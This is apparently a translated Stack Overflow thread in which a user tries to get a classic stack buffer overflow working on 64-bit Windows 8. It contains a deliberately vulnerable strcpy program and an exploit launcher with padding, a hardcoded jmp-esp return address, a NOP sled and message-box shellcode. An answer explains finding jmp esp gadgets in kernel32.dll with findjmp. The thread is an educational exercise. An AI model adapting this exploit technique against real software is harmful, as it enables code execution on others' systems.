Простое переполнение буфера в Windows 8

Я пытаюсь создать две простые программы на C для имитации переполнения буфера:

  1. первый принимает ввод и копирует его в память
  2. второй злоупотребляет первым, чтобы выполнить некоторый шелл-код, который отображает текстовое поле в Windows 8.

Я нашел старый учебник, в котором две программы делают что-то похожее, но я есть некоторые трудности, чтобы заставить его работать под Windows 8 64-бит. Я использую Visual Studio 2013 для компиляции кода.

Первый фрагмент кода кажется довольно простым и работает:

#include <stdio.h>
#include <stdlib.h>

int foo(char *);

int main(int argc, char *argv[])
{
  if(argc != 2)
    return printf("Supply an argument, dude\n");
  foo(argv[1]); 
  return 0;
}

int foo(char *input)
{
  unsigned char buffer[600]="";
  printf("%.8X\n", &buffer);
  strcpy(buffer, input);
  return 0;
}

Второй код, вероятно, нуждается в некоторых изменениях, но здесь я застрял:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x7935EDBB   /* ATTENTION!!! Change it. Search kernel32.dll
                           or any other library for jmp esp or call esp 
                           instruction and then save the address */
#define TRASH 0x41

char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";

int main(int argc, char *argv[])
{
  char *bufExe[3];
  char buf[700];
  int i;
  char *ptr = buf;

  memset(buf, 0, sizeof(buf));
  bufExe[0] = "vuln.exe";
  bufExe[2] = NULL;

  for(i=0;i<620;i++)
    (*ptr++) = TRASH;                     //620 bytes of chunk

  *(unsigned long *)&buf[620] = RET;   //then return address = jmp esp, call esp
  strcat(buf, "\x90\x90\x90\x90");     //small NOP sledge
  strcat(buf, shellcode);              //and our first shellcode
  bufExe[1] = buf;
  execve(bufExe[0],bufExe,NULL);    
  return 0;
}

Я считаю, что две вещи определенно нужно изменить: #define RET 0x7935EDBB и, возможно, шелл-код.

У кого-нибудь есть идеи, как заставить это работать?


person user3231622    schedule 04.09.2015    source источник
comment
Можете ли вы рассказать больше о том, что вы видите / ожидаете увидеть, но не видите? Трудно помочь вам, если вы только говорите, что я застрял. Кроме того, что такое vuln.exe? Это первый код, вырезанный сверху?   -  person DIMMSum    schedule 04.09.2015
comment
Кроме того, это называется NOP Sledge, а не NOP Sledge.   -  person DIMMSum    schedule 04.09.2015
comment
Вы также должны передавать список переменных среды, заканчивающийся NULL, когда вы вызываете execve. Это внешняя переменная environ из libc   -  person DIMMSum    schedule 04.09.2015
comment
Итак, вы ожидаете, что неопределенное поведение будет вести себя определенным образом?   -  person too honest for this site    schedule 04.09.2015
comment
Шелл-код в основном представляет собой скомпилированный код и зависит от платформы. Если этот шеллкод 32-битный, он не будет работать в 64-битной среде. Вы должны скомпилировать свой код для 32-бит.   -  person Havenard    schedule 04.09.2015
comment
@Decave: спасибо за ответ. Vuln.exe действительно является первым фрагментом кода. Я не получаю никаких ошибок компиляции, однако при запуске я ничего не вижу, я ожидаю увидеть окно сообщения. Вызывается ли окружение добавлением extern char **environ?   -  person user3231622    schedule 04.09.2015
comment
@user3231622 user3231622 да, именно так вы ссылаетесь на environ. Что касается того, что код не работает, извините, но я не вижу, чтобы что-то произошло, этого просто недостаточно, чтобы продолжать. Я рекомендую научиться использовать gdb и выполнять инструкции по сборке, чтобы увидеть, где ваши инструкции находятся в памяти, и убедиться, что все происходит так, как вы ожидаете. Есть миллион причин, по которым это может не работать, и без дополнительной информации вам трудно помочь.   -  person DIMMSum    schedule 04.09.2015
comment
@Decave, не могли бы вы объяснить мне, как найти правильный адрес для RET? (см. код), потому что я думаю, что это тоже может быть неправильным   -  person user3231622    schedule 04.09.2015


Ответы (1)


Похоже, что адрес RET может быть неправильным. Чтобы найти правильный адрес для RET, используйте findjmp (от Ryan Permeh). Скомпилируйте findjmp.c и запустите со следующими параметрами:

findjmp <DLLfile> <register>.  Suppose you want to look for jumps to esp in kernel32.dll, run  “findjmp kernel32.dll esp”
On Vista SP2, you should get something like this :
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x773AF74B      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses
person Dy Coder    schedule 01.10.2015